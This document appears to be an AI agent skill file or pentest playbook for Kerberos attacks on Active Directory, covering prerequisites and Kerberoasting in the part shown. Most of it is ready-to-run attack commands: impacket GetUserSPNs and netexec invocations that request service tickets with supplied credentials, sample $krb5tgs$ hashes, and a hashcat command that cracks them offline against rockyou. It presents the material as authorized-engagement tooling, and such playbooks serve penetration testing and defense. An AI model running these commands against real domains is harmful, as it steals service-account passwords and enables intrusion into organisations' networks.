kerberos-attacks

Kerberos Attacks

Standard-tooling playbook for the four Kerberos abuse families you meet on almost every internal AD engagement. You drive every tool yourself. This skill tells you what each attack is, the exact command, how the loot looks and how to crack it, what the DC logs, and what the remediation write-up should say.

Requirements before you touch these: valid domain credentials (any user is enough for Kerberoasting and delegation reads; AS-REP roasting needs only a username list), correct DNS pointing at the DC, and clock skew under 5 minutes or Kerberos rejects your tickets (KRB_AP_ERR_SKEW). Sync with sudo ntpdate <dc-ip> or faketime.

---

1. Kerberoasting

MITRE ATT&CK: T1558.003 (Steal or Forge Kerberos Tickets: Kerberoasting)

What it is. Any authenticated user can request a service ticket (TGS) for any account that has a Service Principal Name (SPN) set. The TGS is encrypted with the service account's password-derived key. If the DC hands you an RC4 (etype 23) ticket, you crack it offline to recover the account's cleartext password. Service accounts are the target because they often have weak, non-expiring, human-set passwords and elevated rights.

Standard commands.

Request tickets for every kerberoastable account (impacket):

GetUserSPNs.py -request -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123' -outputfile kerb_hashes.txt

Enumerate first without requesting (see who is roastable before making noise):

GetUserSPNs.py -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123'

netexec equivalent (also does it in one line):

nxc ldap 10.0.0.10 -u svc_user -p 'Password123' --kerberoasting kerb_hashes.txt

Targeted roast of a single account (quieter, one 4769 instead of dozens):

GetUserSPNs.py -request-user sqlsvc -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123'

Hash format + cracking. The loot is a $krb5tgs$ hash. RC4 tickets are hashcat mode 13100; AES256 tickets (etype 18) are mode 19700 and are far slower.

$krb5tgs$23$*sqlsvc$CORP.LOCAL$MSSQLSvc/db01.corp.local*$a1b2...  # RC4, -m 13100
$krb5tgs$18$sqlsvc$CORP.LOCAL$...                                  # AES256, -m 19700

hashcat -m 13100 -a 0 kerb_hashes.txt rockyou.txt --force